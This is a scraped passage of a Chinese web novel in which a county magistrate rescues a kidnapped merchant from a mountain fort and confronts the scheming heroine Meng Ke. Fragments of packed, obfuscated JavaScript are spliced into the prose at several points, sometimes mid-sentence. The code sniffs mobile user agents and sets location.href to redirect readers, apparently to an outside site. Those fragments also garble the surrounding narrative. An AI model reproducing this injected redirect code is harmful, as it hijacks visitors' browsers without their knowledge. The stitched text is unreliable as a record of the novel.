“我……”小叫花猛点着的头，突然停了，脸上闪过一丝狡黠，转口道，“我还要看热闹呢，再说，今日这么多达官贵人，能讨不少赏钱呢。” “再加一两。” 说完，周冶将银子抛了抛，又接住了道，“你不要就算了。我们自己找去。” 说着，给侍剑使了个眼色，提步就要走。 那小叫花到底还是道行浅，忙跳起来道：“去！我去！我带你们去！” 说话便往外走，但还是转头不舍地瞧了人从一眼。 “等等——” 周冶反而叫住了他，“先别急。” 他左右看了看——偏偏这时候，洗墨不知去哪儿了，对侍剑道：“你立刻回去，安排好手。我先跟这孩子去，一路给你留信。你带了人，立刻追上来。” 侍剑领命，立刻要去。 周冶又叫住了他，走近了，低声嘱咐道，“不要声张，只要心腹、好手。另外，让涤砚找个理由把衙役都召回去，也别声张，但要做好准备，随时策应。” *** 说完，一声锣响，正好打幡起灵。 周冶不由回头看了一眼，正好看见一身重孝的曾铭捧着牌位，站在大门口，等着前面的队伍挪动。 孟珂出事，会是谁的手笔呢？ 会是跟曾怀义过从甚密的这些朝堂、江湖之人吗？ 会是曾家......甚至曾铭吗？真有人不站自家，而去站一个身份尚且不明的女人吗？ 还是孟珂一直最怀疑的......梁夫人？ 不时有人看到周冶，近的搭两句话，远的下拜作揖。 他面上装作无事，心下却焦急起来，按小叫花说的地方，算算时辰，这一来一回的已经费去小半天了——真要有什么事，也不知还来不来得及。 他装作跟着出殡的队伍往外走，不急不慢地朝巷子口去，眼角也四下扫着，看有没有人注意他。 走着走着，转头就见梁夫人迎面走了过来。 他忙侧身往路人里一钻，想借着遮挡，游鱼样就要溜走。 “周大人！” 梁夫人笑着走上前来，看了一眼旁边等着他的小叫花，“大人跟这么个小花子，是要上哪儿去？” 21. 石头寨 梁夫人意味深长地看着周冶笑。 周冶叹了口气，拿出手中钱袋，朝小叫花一指：“这小东西，竟敢太岁头上动土，偷了我的钱袋！我正要拿他去衙门训话呢，这些东西都是小......老油条了，最是嘴硬难缠。” 说着，示意一旁鱼贯而出的出殡队伍，“这不是......怕闹起来冲撞了曾大人。” 梁夫人笑：“这么个小东西，交给底下人就是了，也值得大人亲自费心？” 周冶认真道：“夫人此言差矣，正是因为小，还有匡正的机会。我这个父母官责无旁贷啊！” “大人果然......爱民如子。” “那是！”周冶抬手拎了小叫花的耳朵，“也算是我的......小半个儿子了。” 梁夫人转而道：“对了，我家大人刚刚还在说，要找大人你，好好叙话呢。” 周冶顺着她的话，飞快接道：“我也正要找大人！他贵人事忙，难得一见。今日好不容易凑到一处了，于公于私，都少不得要去好好说说话。夫人，他此刻在何处？我这就找他去。” 梁夫人方才看他，莫名觉得有些行迹可疑，便上前来诈他一诈。但看他接得那么顺，说得也认真，心里的疑虑按了大半下去，笑道：“喏，就在前面，陈家设的路祭处。” “好！我这就去。” 说完，也不等梁夫人答话，便游鱼似地溜进路边围观人群了。 梁夫人看了看周冶的背影，又看了眼那小叫花，低声问道：“那边可盯紧了？” 也不知为何，今日心里总有些莫名的焦躁，有一种要发生什么事的不安之感。 孙嬷嬷点点头：“没有异动。” 说完，两人避开大门的出殡队伍，从偏门进府去了。 *** 周冶从梁夫人那儿溜走，快步走出巷子，上了大街，钻出人群，准备脱离出殡队伍，转身折入小巷——也躲开沿路的路祭，抬眼就见一个人当路站着，还正看他——正是陈万霆。 这两口子……就这么闲吗！今日怎么专跟他过不去了！ 周冶咬着后槽牙想，真是出门没看黄历，难道跟这俩人都犯冲！ 心中再急，面上也不得不稳住了，挂起笑来。 陈万霆也挂了笑，朝他走来。 “公子县令”的名号自然早就传到了他耳里，不过是睁一只眼闭一只眼——官场上，谁没点儿事，平时犯不上认真罢了。 可这一日，他还就想跟周冶认点儿真。 出门前，就听夫人说，这绥陵官眷都在朝她打听曾怀义案的进展。 果然，他今日走到哪儿，便被人问到哪。 “这周大人平日的那些......荒唐，也就罢了，在这个案子上还不作为，当真是不知轻重了。出事这么久，都没能给个囫囵交代，这绥陵......大家还能住得安心吗？” “都说，‘今日是曾家，明日......还不知就轮到了谁家呢。’” “不管是什么人做的，只要找到凶手，或者哪怕有个方向，大家都不至于如此悬心——谁知道是不是专门冲着官员来的？” “前年不是才出过一个，专门猎杀......官员的——谁手上还没过过点儿银子呢？就那点俸禄，别说自家吃喝，就连任上的打点都不够。” “周大人。” 陈万霆这一开口，周冶就知道不妙。 陈万霆虽然位置比他高些，但家世到底欠些，年纪又相仿，此前都是称兄道弟，直接叫他小字“元亨”的。 周冶便也郑重地叫了声：“陈大人！” 陈万霆朝那浩浩荡荡的出殡队伍，摆了摆头，开门见山道：“曾大人的案子，还没有进展？不是已抓到了嫌犯？” 周冶点头：“是有这么个人，还是......贵府之人帮忙找着的，但是要说进展嘛……还算不上。” 说着，他察看着陈万霆的神色，也想知道他对此事的态度，故意慢慢道，“此妇，虽说有动机，但到底一无实证，二无口供......” 陈万霆脸上闪过一丝不快：“这再有几日，可就要封印了。难道还留着过年，等年后开了印再查不成？” 言下之意，便是催他封印前结案了。 陈万霆一直对周冶都算客气。放在平日，周冶多半也要多理论几句，但此刻心中有事，本就着急，没时间在这儿空费口舌。 于是，接口就应道：“是，大人说的是，是该抓紧办了。” 陈万霆本来还在斟酌着，预备接一接周冶的话，谁料他竟乖顺地应了，一时反倒无话可说。 他顿了一瞬，脸色和缓起来，抬手放在周冶肩头，拍了拍，笑道：“元亨，我这也是为你着想。你应该多少也知道，这明州官场，对你......可有微辞。这又正是年尾，官员考校的当口。我怕你初入仕途，一时不周全，第一步没走好，岂不给日后的仕途平白添坎坷？” 周冶也笑了，亲热地谢道：“是！还是震言兄想得周到。劳兄长为我费心了！” 说着，他看了一眼小叫花，心道，不能再耽搁了。 于是，看向梁夫人方才去的方向，疑惑地道，“我刚才遇到尊夫人，见她匆匆而过，一脸惊慌，可是出了什么事？” “夫人？”陈万霆看了一眼身边亲随，一边顺着周冶的目光看去，“她不是去陪邵夫人了？” 等转回头来，哪里还有周冶的人影。 陈万霆：“……” 他气笑了，一甩袖子，“这周元亨……也着实有点不像话！” 说着，还是疾步奔曾府而去。 *** 躲过陈万霆，周冶当即转入小巷，再遇到什么人拦路，今日这城也不用出了。 他回身看了一眼越来越远的街口，那鱼贯而过的一片白茫茫的人流，脚下越走越急，心下却沉静了下来——自己本是要借这葬礼探动静的，如今却要走开，可别是调虎离山之计吧？ 可一想到孟珂那头还不知安危，也只有先去看看再说。 反正涤砚留守城内，若有人乘机搞事情，他也可以应付一时。 如此想着，他在路边重金要了匹路人的马，带着那小叫花一路疾驰出城。 两人一马，一直跑到两县之交的一个山坡。 他翻身下马，放眼一望，周围都是密林。别说漂亮姐姐的人影，连个鬼影都没。 小叫花指着路边一处足有人高的荒草丛：“喏，就是这儿。” 那小叫花看他拧着眉，以为是不信，怕到手的银子要飞，嗖地钻了进去，拿了一缕布条出来，“喏”一声递给周冶，“这就是那个姐姐身上的。” 周冶接手一看，的确是女装，质地也上好，但说不上是小姐还是丫鬟装扮。小姐把自己的衣裳、料子赏身边人，也是寻常。 “这是什么地方？”周冶四下看着，“这附近都没看到人家，可有什么能住人的地方，比如破庙、废宅、荒村……” 小叫花指着土路的尽头：“转过那个弯，再走一炷香，就是土地庙。虽然漏风漏雨，但勉强也可以歇歇脚。这条路上也就那一个地方了。” “再远些呢？不临大路的，寻常人不会去的那种。” “不临路的......”小叫花眼睛一亮，“前面有个落乌岭，岭上有个石头寨，荒废了许久，离大路有好一段距离呢，路也不好走。” “就那儿！” 周冶一把将小叫花拉上马来，提缰正要走，便听见一阵错落的马蹄声，回头一看，是侍剑带人赶了上来。 他抬手往前一挥，示意跟上，便扬鞭策马而去。 *** 到了寨子附近，周冶勒马停下，吩咐一行人把马藏入密林。 “寨子里若有人，咱们就这么过去，马蹄声早就惊着人了。” 这一路，他都在察看地形，这样的深山密林极易藏人，难怪当年山匪成患，清缴不易。 侍剑先去寨子周围哨探了一回。 回来，捡了根树枝，在地上画了一个圈，便是寨子，又加了两道蜿蜒的线，是前后门的山路。 “前后门都有人把守，寨子里最高的这处，应该是他们的窝，其他屋子都废了，这处保存完好。地牢口有人看守，应该是有关押人。” 周冶听罢，拿过他手里的树枝，在前门处花了个叉：“我装成路过的，从正门去，迷惑他们，顺便打探消息。” 又指了指山壁的一处陡坡，“你带了人，从这里偷偷潜入。换了他们的装扮，分两路，一路去灭了后门的岗哨，一路去摸清大营和地牢的人手，能拿下就拿。若不确定，就等我号令行事。” 说罢，又点了两个人，“你们在原地策应。见黄色信烟，就即刻来援。见红色信烟，一路盯着，一路回衙门报信。其他人，全跟侍剑去。” 侍剑点头，带着人去了。 小叫花看着他们排兵布阵，一点不害怕，反而满脸的跃跃欲试：“我呢？”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999118|193939||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 周冶看着他，笑道：“至于你嘛，跟少爷一起，摆阔去。” *** 不多时，石头寨门口的土路上传来人声马叫。 寨门里，伸出个脑袋，见两人一马，慢悠悠地朝他们走来。 那人在北风里摇个扇子，一副纨绔模样。跟了个半大孩子，牵着马，不时被那公子拿扇子敲头戳身，像是个小书童。 那个脑袋又缩了进去。 “小龙，什么人？”老邬问。 “一只肥羊，带了个小羊崽子。”小龙继续搓着手烤火。 老邬不放心，也伸头看了一眼，看是个富贵公子，带着个小书童，不由放松了。 小龙抱怨道：“他们在里面舒舒服服，就让咱们在这儿吃风。” 老邬没接话。 没过一会儿，小龙又道：“就这鬼地方，除了这种不认路的瞎狍子，谁来啊，还用得着守门放哨？老邬，你说咱们这是要守多久啊？” “你管呢？守一日，就拿一日的银子。” “那里头关的到底是……” 老邬陡然打断：“想活命，就多做事少打听。” 周冶一路看着，寨门口没人，只一缕黑烟从石垛后升起，可这么一路嚷着过来，也没个人出来。 他故意放重脚步，对小叫花嚷道：“少爷我实在走不动了！咱们就在这儿歇歇，……” 他突然顿住了，这一路竟忘了问小叫花叫什么名字！不过，问也是白问，不是狗剩就是鸡零的，也没什么用。 抬眼一看，碧空如洗，白云悠悠，他一笑：“白云！你快去看看，既有青烟，定有人家！” 狗剩版“白云”看着他，顿了一瞬，好歹是反应了过来，答应着朝门口跑去。 边跑，边大声喊道：“有人吗？有人在吗？” 两个脑袋先后从石垛后伸出来。 白云举起一块白银：“我家公子路过宝地，走得实在乏了，想歇歇脚，不知二位，可烧壶热茶，备点吃食？有劳了！” 这词还是周冶走来的路上现教的，书童嘛，说话做事要有个书童样。 那老邬抬手就赶人：“去去去！这儿不是你们歇脚的地方！” 小龙却拦着，笑道：“叔叔何必呢，公子是尊贵人，哪里像我们乡下人，便是再走上十里地也无妨。” 说着，转头对周冶道：“公子，你们可暂在门口歇歇。若无我们村长允准，不可进寨子去，得待我......先去通报一声。” 周冶往里一瞅：“行！” 嘴里低声却又让他们听得见地嘀咕道，“就这破……本公子才不要......” 那小龙笑着，把老邬拉过一边：“上门的银子，不要白不要！身上指不定多少呢，不如进去禀报一声，把他拿下……” 周冶不看也知二人在说什么，高声打断道：“你们这里看着......没住人啊，怎么还守着门，不让人进？” “是，平时是没人。”小龙转头回道，“我们这两天，上山来抓……抓野猪。要过年了嘛，抓点野味去卖，也能换几个钱，好过年关不是。” 野猪？周冶心道，这要是孟珂听到，不知该气成啥样。 只听小龙又道，“这野味还是要活的才卖得上价。若是养在村子里，只怕那东西发狂，跑出来伤人，这才关在这里头守着。” 周冶“哦”了一声，装作恍然，扫了一眼山崖一侧。 侍剑带着人，蒙着面，正从山壁攀援而上。 *** 却说梁夫人，见陈万霆找过来，又说了周冶的话，心下就觉不对。 好不容易等他走开，忙低声唤了孙嬷嬷来：“不对，那周冶果然不对劲，赶紧派人去老寨。” 孙嬷嬷道：“我正要跟夫人说呢，只碍着大人在……” “怎么了？” “衙门方才把人都召回去了。” 梁夫人一颗心猛地提了起来：“召回去做什么？什么时候的事？” “说是今日众官员都在，只怕万一有个闪失。让所有衙役都回衙门里去候着了，说要分班留守，去城中各处巡视呢。” 梁夫人听愣了：“全都在城里？没出去？” 孙嬷嬷点头。 “那就怪了。” 又问，“熹园呢？” “一直没动静。” 梁夫人想了想，摇头道：“不行” 说着，附耳低声嘱咐道，“你马上去找……” 22. 密林 见小龙进寨去了，老邬乘机就要赶周冶。 大概是年纪大了，心软了，瞧着他跟自己儿子一般大，他生出了些不落忍——可怜起另外一份父母心来。 他最知道，养成一个这样的儿郎，得费多少心血，又是祖宗如何保佑才能平安长大至此，要是就这么没了......家中父母该怎么肝肠寸断？他不想平白多造份孽，就当是给自己儿子积德了。 谁想，这个公子哥儿却听不懂人话，见他赶，还来了脾气，往小龙刚才坐的石墩一坐，还偏不走了。 说着，还让那小书童牵了马，拴到门边的马厩里去。 两人正争执着，小龙就带着个青年出来了，说是当家的听说来了贵客，请他进去。 周冶起身，拍了拍屁股上的灰，又理了理衣服上并不曾压出的褶皱，抬手一招，小书童就颠颠儿的一起往里去了。 老邬看着他们背影，摇了摇头，继续烤自己的火去了。 一路进去，周冶跟那小龙和青年攀谈着，问打猎方法、所需人手，一副跃跃欲试的模样，一则是套话，一则也是分散注意力，不给他们注意到寨中异常声响、人影的机会。 他嘴上不停说着，眼睛四处看着，心中还默着寨中的人数和位置：前后门各两人，地牢口两人，出来接有一人。 到了落脚的屋子，里面有两个人，其中一个看着就是领头的。 周冶走上去，开口寒暄，转眼就见窗口露了半个身影，正是侍剑。 侍剑看着他，右手握拳，轻轻捶了捶胸口。 周冶会意，那是“放心，手拿把拽”的意思。 他这一路走来，都没看到人，其他没看到的地方，估摸着就是有，也没几个。想想也是，这种常人根本不会来的地方，本就不必人多，多了反还惹人注目。 两头的估计都对上了，再不动手更待何时？万一真如小龙吹的，有大队人马出去打猎了呢，等着回来再团战吗？ 于是，他朝侍剑一眨眼，身侧的拇指和食指轻轻一捻，做了个无声的打响指。 下一刻，侍剑便带着人，翻身跳了进来。 *** 寨里这些守卫都有些身手，但也只是地痞流氓的水准，几个稍微好点的，也就是普通江湖人。 侍剑带的这一行，人虽不多，但都是好手，未费多少功夫便都解决了，将人拎出来，在院子里跪了一排。数数，十一个。 地面的都解决了，就剩地牢了。 本就是一夫当关万夫莫开的地形，周冶开始就着人去守着入口，预备收拾了地上的，再集中人手去冲。 什么将英雄救美的亮相时刻留给公子，侍剑是不懂的。他只想着替公子卖把力气，当即自请带人去攻。 “公子，我这就带人下地牢？” 这里随便哪个山坳、地洞都能藏人，只怕另有埋伏，或陡生异变，周冶不敢大意，还得自己坐镇指挥才稳妥。 “也好。”他点点头，让侍剑去了。 可侍剑进去一看，里面空空如也，连半个人都没有。 周冶听了也怪，看向跪地的守卫：“人呢？” 那些守卫一时都没反应过来，不知道是在跟他们说话，没人应。 侍剑抬脚就踹了一个：“人呢？” “什么人？哦，肉……肉票？地……牢里。” “我刚才都搜了，怎么没看见？” 老邬从旁插嘴道：“地牢里有暗门。” 侍剑看了他一眼，随手提溜起一个，抬脚又是一踹：“走，带路！” 底下只怕有蹊跷，周冶留了人在外面守着，自己也跟着进去了。 就在这时，外面密林里，一群人提刀跑着，快速地逼近寨子，包抄而来。 *** 这地牢只高处有几个通风口，本就不大，还有草木虚掩着，里面漆黑一团。周冶一行人虽点了烛火，但不过能照见自己身周，人进去，登时不辨东西。 黑倒也罢了，不过警醒着些，预防偷袭。他大少爷的弱项这时显出来了——他比较受不了的，是从入口处就往外透着的阴湿发霉的味道。越往里走，经年累月的木头糟腐的味道就越重，还有各种说不分明的臭味。 那守卫带着他们，一路走到底，进了最末端，靠墙的一间囚室，一头就钻了进去。 这......怎么还自己关自己了？侍剑怔了怔，正要说话，就见那人走到墙角的干草丛，扒了扒，站到一旁不动了。 旁边有人移过烛火一照，果然藏了个半人高的暗门。 侍剑和周冶四目相对，心下都道，难怪只在外头放哨，牢里反而没人，便是谁溜了进来，也轻易发现不了。 “进！” 侍剑又一踹，让那人打头，听见里面没声响，这才又叫了一个自己人跟进去。 “没问题，进。” 听里面没异常，侍剑这才跟了进去。周冶在后面看着，心下也有些安慰——这侍剑做事也是越来越有章法了。 他也弓身跟进去，一抬眼，见侍剑正将烛火，往墙角一个人影凑过去。 烛火一照，两人的眼睛不由都直了。 这被囚的，哪是什么美人，分明是个大男人！ 还是个上了年纪的臭男人——极其写实的那种臭法。 不待说话，周冶弯了腰，呕了起来。 *** 灯下照美人，成了灯下看臭男人。 周冶本来还能忍一忍，这下简直一刻都待不下去了。 这乌漆嘛黑的地牢里，那男人的眼睛竟然还被蒙了黑布，看着已经关了好些时日——头发胡子都腻成一团了，更别说里面便溺的味道了。 周冶捂住口鼻，强忍着那一股接一股，往上翻腾涌动的难受劲儿，抬眼去瞧，这人好像……有几分面熟？ 在哪里看过来着？ 他心头猛地一突，这不就是……画像上的樊仲荣嘛！ “你是……” 刚一开口，臭味就满口钻，又呕了起来。 他当机立断，抬手一挥，转身就往外钻：“出……出去说。” 侍剑将人带出去的时候，周冶已经在院子里大口喘了好一会儿气，好歹缓过点劲儿来了。可那味道仿佛还粘在鼻子里，仍不时阵阵发呕。 那樊仲荣在地下待久了，走出暗牢，被日光一晃，睁不开眼。想抬手，才反应过来被绑在身后，只能紧紧闭着眼，转过脸去，朝着阴凉处避光。 周冶远远看着他，心道，樊仲荣在此，那孟珂呢？ 除了她，还有谁能引自己来此处？ 她到底……有没有危险？ 想到此，他也顾不上发呕了，指着领头的问：“你们这儿......关的，还有人呢？” 那领头的道：“没别人了，就这一个。” 周冶直起身来，“唰”一声拔出近旁侍卫的剑，架在他脖子上：“真没有？” “真没有！就只这一个！” 这时，余光瞥见老邬，对着他轻轻摇了摇头。 周冶在门口的时候，自然懂了他赶人的善意，料想他此刻也不会帮着隐瞒。 于是，放下剑，轻轻一掷，扔回给侍卫，又看了看四周：“此地不宜久留……” 刚说了半句，山风一起，经过樊仲荣处，朝他这边送了过来。 周冶忙一扭头，同时连连走开几步，抬手一指地上跪的那一排：“你、你、你们......一人扒一件，给他换上。” 什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一行人回到林子里藏马的地方。留守的人说，并没看见什么人经过，是听到过一阵远远的打斗声，但以为是周冶他们跟人动手，没看见信烟，也不敢擅离。 周冶看着侍剑：“也就是说，我们在里面忙活的时候，外面也斗了一场，却开始和结束得悄无声息。” 螳螂捕蝉，黄雀在后。当螳螂悄悄地逼近，黄雀也静静地尾随，将其一个个啄尽。 不，不对。周冶自嘲地笑笑——他连螳螂都不是，而是那被捕的蝉。 又转头看着牵出来的那一串人，这些……连蚂蚱都算不上。 那……这螳螂是什么人？黄雀又是什么人呢？ 不远处的高岗上，几个身影倏地一闪，便消失在了密林间。 *** 周冶重重地吁出一口气，带着满腹狐疑，原路返回。 一行人一路都提着心，话都没人说，就防着密林里悄无声息地钻出什么人来。 一直走了七八里地，才稍放松了些，也有人开始小声说话攀谈了。谈的，自然是什么人能如此快速，而又悄无声息地除掉一批人，还能不被岗哨发现地撤退。 山路拐过一个大弯，前方骤然开阔，为首的却突然勒马停下。 一队人马，正静静地横在面前。 周冶打眼一扫，对方有三十多个人，个个都是好手。 这是螳螂，还是黄雀？ 众人均是一怔，看向了周冶，手上也不由都摸向了刀柄，准备拔刀。 “等等！” 周冶抬手示意别动，越众而出。 而前方那队人马，也从后面开始分列两边，一辆马车从后面不紧不慢地上前而来。 23. 河边 周冶说话的时候，他身后那手快的，刀已微微出鞘，白光闪烁了一片。对方的人却沉得住气，稳如泰山——若动起手来，谁讨不到便宜也很明显。 车内飘出一个女子的声音。 “大人，别紧张。” 周冶一行人都乔着装，还蒙了面，那樊仲荣更是被遮了个严严实，但对方显然对他身份、行动都了如指掌。 周冶低声吩咐：“没我的令，不许擅动。” 说着，又高声冲着马车道，“不知阁下哪位？” 车内之人轻笑一声：“大人连我的声音也听不出了？” 随即，车帘一掀，露出里面端坐的人来。 周冶笑了，也是，能在这必经之路上等着，守株待兔的，还能有几个人呢？ 孟珂躬身钻了出来，立于车头，扫了周冶身后的人马一眼，笑道：“我不抢人。” 说完，递了个眼色，身后的人便齐刷刷地散了，很快便没入山林，仿佛根本不曾存在过。 周冶心中一突，想必，石头寨外的那一场血洗，也是这些人所为了。这么多好手，还如此训练有素，跟精兵有得一拼了。 再看孟珂，此刻站在马车之上，倒仿佛立于战车，一挥手便能号令雄兵数万。这女子，当个后宅贵女可算埋没。 看到对面只剩了一辆马车，一行人绷紧的身子终于松了下来。 孟珂袅袅走下马车，走到周冶面前，竟还没事人一样，冲着他笑：“大人这回可信了？” 周冶一抬手，让自己的人也退了开去。 没有手下人看着，他摆起了脸色，冷笑道：“小姐既有这么多好手，何故引我前来，又让周某给小姐白跑路？” 这笑里的自嘲中，还透着完全不加掩饰的怒意。 孟珂头一歪，看着他，一脸无辜地道：“我几时让大人白做过什么事？” 周冶看了她一眼，不言语。他哪里不知道，自己心中的怒气，倒不完全是因为被她利用了，更多的是因为自己内心一点隐秘的心思，都被她算入了——若知道是樊仲荣，他少不得大张旗鼓地点兵来拿人。 是不是假线报不要紧，有没有拿到人也不那么紧要。衙门里的事，尤其是曾案这种街谈巷议的事，一举一动都做得让人看见才好——尤其是上头觉得他惫懒怠惰的当口。可以没结果，但至少要让人看着你在忙活。 只因为误以为是她遇险，本就身份敏感、牵扯甚多，情况又不明，这才没敢张扬，又或许，还有点什么其他未明的东西......总之，他本能地就不想让人看着了。 而她显然算准了自己这份心思。他有点恼火，也有点......脸上挂不住。 周冶继续冷笑道：“小姐自己去抢人便是了，谁还拦得住小姐的雄兵，何必拉周某进来？总不至于，就是想把周某当什么耍吧。” “当什么？猴？”孟珂看他着恼，临时却生起了捉弄的心思，调笑道，“有这么玉树临风的猴么，在哪里？我倒要多养几只。” 她自然也知道，换了谁被算计，心头也不免着恼。 又正了色，道：“大人，怎么不知谢我，反还责怪于我呢？” “我谢你？”周冶被气笑了，“谢你耍我？” 孟珂认真道：“大人自当谢我！衙门一直找樊仲荣未果，我今日不辞辛劳，送消息在前，寨外替大人解决尾巴在后，还一路护送至此。大人不该谢我？” 周冶：“……” 竟让她说得有几分……歪理。 *** 孟珂继续道：“今日曾家出殡，诸多同僚、上官都在，必定给大人压力了吧？小女不忍让大人为难，替大人解了燃眉之急。大人不该谢我？” 说着，扫了不远处那包得勉强能看出是个人样的樊仲荣一眼，“此人在手，大人不就能交差了？” 周冶笑了：“小姐若是要把人给我，又何必亲自等在这儿呢？” “我要是不来，只怕大人拿得到人，却拿不到……” 说的人和听的人，都听出了一丝怪怪的…… 孟珂顿了顿，改口道，“我若不在，樊老板不会开口。” 对自己的人，就这么自信？周冶头微微一歪，抱起手来，审视着她：“这么说，小姐此来，还真是助我了？” 孟珂笑道：“自然......也是助我自己。” 周冶摆出洗耳恭听的模样，孟珂道：“这个案子，我熹园一直都没能洗掉污名，大人不是也一直怀疑我？” 周冶没有反驳。 “今日，若是我的人将樊老板救出来，再交给大人。莫说城中其他人了，便是大人你，也少不得怀疑，我们已串好了词。” “若是让大人你大张旗鼓地去将人救出，却得不到供词。我就算愿意相帮，去帮大人问话，少不得让大人也一并惹上嫌疑。” 周冶笑：“这么说，我是当感谢小姐，事事都为周某想到了。” 话音未落，他反问道：“焉知这不是你的苦肉计？做下案后，将樊仲荣藏起来，如今再交出来。” 寨门外的血战，终究也没人看见。 “又焉知你不是怕自己不在，樊仲荣说出什么你不想让他说的话来？” “大人说的有理！”孟珂点点头，早预备着他有此问。 “可是......我大费周章做这么个苦肉计，不如做个畏罪自杀呀。大人即便疑我，也没证据拿我啊！他们本就有仇，眼看逃不出去，自我了断，再塞个认罪书，这事便结了。何必冒险把他活着交给大人？正如大人所说，万一他说出点什么呢？” “至于第二问，那就更容易了。我即刻回避，大人自己去审，看能不能让他说出点什么来。” 周冶看着她，一时竟无言。 孟珂也不等他慢想：“大人若愿意一试，我便陪大人问话。若不愿一试，我即刻便走。” 说着，转身便走。 “等等——” 周冶前后看了看，大路上难免有人来往：“换个地方说话。” *** 一行人离开官道，到了河边，饮马歇息。 周冶顺着河道上下看看，挑了个水声喧哗之处，示意她站到一处。 “小姐，请。” 孟珂见他“我自有道理”的样子，也没反对。 侍剑押着蒙头盖脸的樊仲荣过来，看着周冶的眼色，将他一扽，樊仲荣当即停了步。 什么无形的攻击，随即顺着河风而下。 站在下风口的孟珂不由呼吸一滞，看向周冶，正好看见他偷笑。 她顿了顿，闭了气，瞪周冶一眼，绕着樊仲荣走了个半圆，挪到了上风口。 侍剑已经揭下了面罩，樊仲荣看了看周冶，又看着另一边的孟珂，恭肃地叫了声：“小姐！” 他那头发胡子几乎要板结成块，无风的时候便有味道飘散过来，孟珂闭着气，闷闷地道：“说吧，不必避着周大人。” *** 那夜，接曾怀义的小船回来，樊仲荣从窗户伸头一看，见曾怀义披着黑色斗篷，戴着兜帽，心下登时冷笑，曾大人如今不是光脚的了，行动便怕人看见。 这倒提醒了他，接下来要说的话本就机密，便将舱内的下人遣走，嘱咐了非招呼不得近前，自己则独自端坐于窗下等待。 门一开，曾怀义进来，随手就将门关上。 “怀义兄——” 樊仲荣话音未落，此人已经转过身来，他当即愣住了——兜帽下的人，并不是曾怀义。 他心道不好，正要叫人，还未及动作，身后就伸出一只手，捂住了他的口鼻，当即晕了过去。等他醒来，便已经在那地牢里了。 樊仲荣微微吁出一口气，心道，以后再也不靠窗坐了。 “此人你可认得？”周冶问。 樊仲荣看了孟珂一眼，见她未拦，摇了摇头。 不等再问，他继续道，“时间太短，只匆匆一瞥。此人身形与曾怀义有八分像，年岁也相近，至于样貌……戴着兜帽，阴影落在脸上，看得并不分明。” 孟珂接过话道：“盯梢的人看到，在接曾怀义的小船停靠大船的时候，另有一艘小船，悄悄靠在了对侧，几个人影潜入舱内，同‘曾怀义’里应外合，不声不响地将人迷晕，拴着绳子，下放入船里，乘夜而去。” 樊仲荣点点头：“只有那个时间，他们才方便下手。船上一旦惊动人闹起来，可就不好走脱了。” 樊仲荣也是个会随机应变的。他并不知道曾怀义已经被人算计了，也不确定掳他的是什么人，但不管对方是谁，自己只需咬死不吐口，探查 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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樊仲荣约他夜饮游湖，又借口贵人赏景，包了湖上所有游船，还不许其他船只往来，就是故意将消息宣扬出去，既撵走闲杂人等，便于行事，也是有意让人觉得有机可乘。 事出意外，樊仲荣失踪，熹园被盯上，她又使了出苦肉计，混淆衙门视听，误导自己以为她是霍家小姐，撇清杀人嫌疑。 背地里，她有樊仲荣线索，却不急着救，也是想从内探听消息，对外则静待对方动作，好抓纰漏。 这中间，她也没闲着，顺手丢出了霍家案，让自己忙得团团转。 对了，还让对方扔出了郑氏一子。 周冶又想到了什么：“小姐那日提醒我，该让曾怀义下葬了，说可暂缓我的结案压力，实则是想借今日的东风吧？” 这耳边风想必也不只在他这儿吹，曾铭那儿应该也拨弄使力——倒也未必亲自推动，曾府内只怕少不得有她的人。 孟珂笑了，不答反问：“那大人这么做，是不是缓解了？可有说错？两相便宜的事，多好。” 周冶哼笑一声，拍手道，“小姐好手段！简直算无遗策。” 孟珂脸上飞过一丝意味不明的笑意，她也不是事事算到——她就没想到，对方一出手就杀了曾怀义。不过，倒不妨事，无论死活，他都是那枚开局之子。 周冶继续道：“对手以为借风行船，杀了曾怀义，还嫁祸于小姐，其实早入小姐彀中。而我……这些日子，也被小姐耍得团团转，被搅得晕头转向。” “晕？大人可清醒着呢，收获可不少。”孟珂却并不道破，他到底都收获了什么，“敌友未明之时，实不得已……还请大人莫怪。” 周冶打断了她：“这么说，如今明了？我们是……友了？” 孟珂笑而不答。 周冶心下有点高兴，但不想让她瞧出来，清了清嗓子，正色道：“你们既早布了网盯着，可抓到杀人现行？” 孟珂摇了摇头：“湖太大，人手再多也布控不过来。原本也是盯着大船，没料到湖滨会有那一出。不过......郑氏那日确实去了湖边，见了一个人。” “让我来猜上一猜，这个人……想必是梁夫人？” 周冶笑道，“还是应该叫……霍小姐？” 24. 姐妹 孟珂听了，眉毛轻轻一挑。他早在嘉县那日就再三试探自己身份，如今连梁夫人的身份也琢磨出来。 更妙的是，他直接点破的是梁夫人的身份——不提她，但却间接佐证了部分。 周冶看她那一挑眉，好像在说“不错啊”。可知道自己说的没错，他却一时无言。终于确认了一个看似无稽的猜想，竟有点说不上是惊奇还是感叹——想法再疯狂，都比不上事实来得震动人心。 就像话本中的故事再离奇，人也觉得只是编出来的而已。可若是事实呢？在生活面前，话本连提鞋都不配。真实的冲击力，绝非任何奇思妙想可比。 周冶也顾不上感慨，心内的念头一个接一个地汩汩冒出： 